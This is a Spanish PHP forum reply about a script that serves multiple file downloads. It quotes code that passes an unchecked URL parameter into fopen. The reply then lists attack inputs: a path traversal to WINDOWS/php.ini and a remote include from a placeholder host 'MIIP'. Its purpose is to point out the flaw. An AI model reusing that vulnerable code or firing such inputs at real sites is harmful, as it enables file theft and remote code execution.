Ver Mensaje Individual
  #12 (permalink)  
Antiguo 29/12/2009, 05:59
Avatar de TKZeXe
TKZeXe
 
Fecha de Ingreso: diciembre-2009
Ubicación: Flowers
Mensajes: 166
Antigüedad: 15 años, 2 meses
Puntos: 6
Respuesta: Descargar múltiples archivos a partir de un solo php

Cita:
Iniciado por McBlink Ver Mensaje
Ante todo bienvenido al foro liepzingsystem,
cuál es el problema que tenes?

links.php
Código PHP:
<a href="my_php.php?f=imagen.jpg">bajar imagen.jpg</a>
<
a href="my_php.php?f=logo.png">bajar logo.png</a>
<
a href="my_php.php?f=flash.swf">bajar flash.swf</a
-----------------------------------------

my_php.php
Código PHP:
   $f $_GET["f"];
    
header("Content-type: application/octet-stream");
    
header("Content-Disposition: attachment; filename=\"$f\"\n");
    
$fp=fopen("$f""r");
    
fpassthru($fp); 
tendría que funcionarte, cualquier problema me comentas,

Saludos.
que sucede si en la url pongo esto.

my_php.php?archivo=./././WINDOWS/php.ini
my_php.php?archivo=HTTP://MIIP/RFI.php

o algo similar __FILE__

?_?